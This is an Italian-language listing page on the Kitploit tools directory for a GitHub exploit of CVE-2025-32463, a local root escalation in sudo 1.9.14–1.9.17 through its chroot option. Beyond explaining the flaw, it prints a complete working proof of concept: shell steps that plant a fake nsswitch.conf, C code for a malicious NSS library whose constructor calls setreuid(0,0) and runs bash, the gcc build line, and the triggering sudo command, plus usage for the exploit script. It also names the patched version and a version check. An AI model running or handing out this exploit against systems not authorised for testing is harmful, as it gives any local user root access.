Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/0xdak/cve-2025-32463_exploit
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSviluppo Payload
GitHub0xdak/cve-2025-32463_exploit

CVE-2025-32463_exploit

Exploit di escalation dei privilegi locali per sudo 1.9.14-1.9.17 che sfrutta la gestione di chroot della CVE-2025-32463, installando un costruttore di libreria NSS dannoso per generare una shell di root per qualsiasi utente locale.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
15 giorni faNon ancora revisionato

CVE-2025-32463 — sudo "chwoot" chroot: elevazione locale dei privilegi

Elevazione locale dei privilegi a root in sudo tramite l'opzione --chroot (-R). Funziona per qualsiasi utente locale, inclusi gli account senza alcuna voce sudoers (ad es. www-data).

sudo 1.9.14 – 1.9.17 esegue chroot() nella directory fornita dall'utente mentre la policy sudoers è ancora in fase di valutazione — cioè prima della decisione di autorizzazione. Dopo quel chroot(), le ricerche NSS di sudo leggono /etc/nsswitch.conf dall'interno del chroot dell'attaccante, e glibc trasforma un nome di sorgente fasullo in dlopen("libnss_<name>.so.2") — caricato e il cui costruttore viene eseguito come root.

Inserendo un nsswitch.conf fasullo (passwd: /woot1337) insieme a un libnss_/woot1337.so.2 dannoso il cui costruttore ELF esegue setreuid(0) + exec("/bin/bash") si ottiene una shell root. L'exploit scatta prima del controllo sudoers, quindi il chiamante non ha bisogno di privilegi sudo.

  • Versioni interessate: sudo 1.9.14 – 1.9.17
  • Versione corretta: 1.9.17p1 (la modifica del chroot introdotta in 1.9.14 è stata annullata; la funzionalità è stata deprecata)
  • CWE: 829 (Inclusione di funzionalità da una sfera di controllo non attendibile)
  • Impatto: qualsiasi utente locale → root. Bug logico deterministico (nessuna corruzione di memoria, nessuna forza bruta).
  • Divulgato da Rich Mirch (Stratascale), 2025.

Requisiti

Libreria standard di Python 3, un sudo setuid vulnerabile (1.9.14–1.9.17) e gcc sul sistema target (per compilare il piccolo modulo libnss). Eseguire come utente a bassi privilegi.

Utilizzo

root@kitploit:~
python3 exploit.py            # -> interactive root shell
python3 exploit.py -c 'id'    # run a single command as root

Come funziona

  1. Prepara una directory chroot con etc/nsswitch.conf = passwd: /woot1337 (+ una copia di /etc/group).
  2. Compila libnss_/woot1337.so.2 — un ELF il cui costruttore (__attribute__((constructor))) esegue setreuid(0,0) ed execl("/bin/bash", …).
  3. sudo -R woot woot — sudo effettua il chroot in woot, risolve NSS, esegue dlopen su libnss_/woot1337.so.2 come root, e il costruttore fornisce una shell root — prima ancora che sudo verifichi se l'utente è autorizzato.

PoC manuale canonico (Stratascale / pr0v3rbs "chwoot"):

root@kitploit:~
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot        # -> root

Verifica di un target

root@kitploit:~
sudo --version | head -1   # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched

Rimedio

Aggiornare sudo a ≥ 1.9.17p1. La funzionalità chroot è deprecata e non si dovrebbe fare affidamento su di essa.

Disclaimer

Solo per test di sicurezza autorizzati e a scopo didattico. Utilizzalo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione a testare.

Scarica lo strumento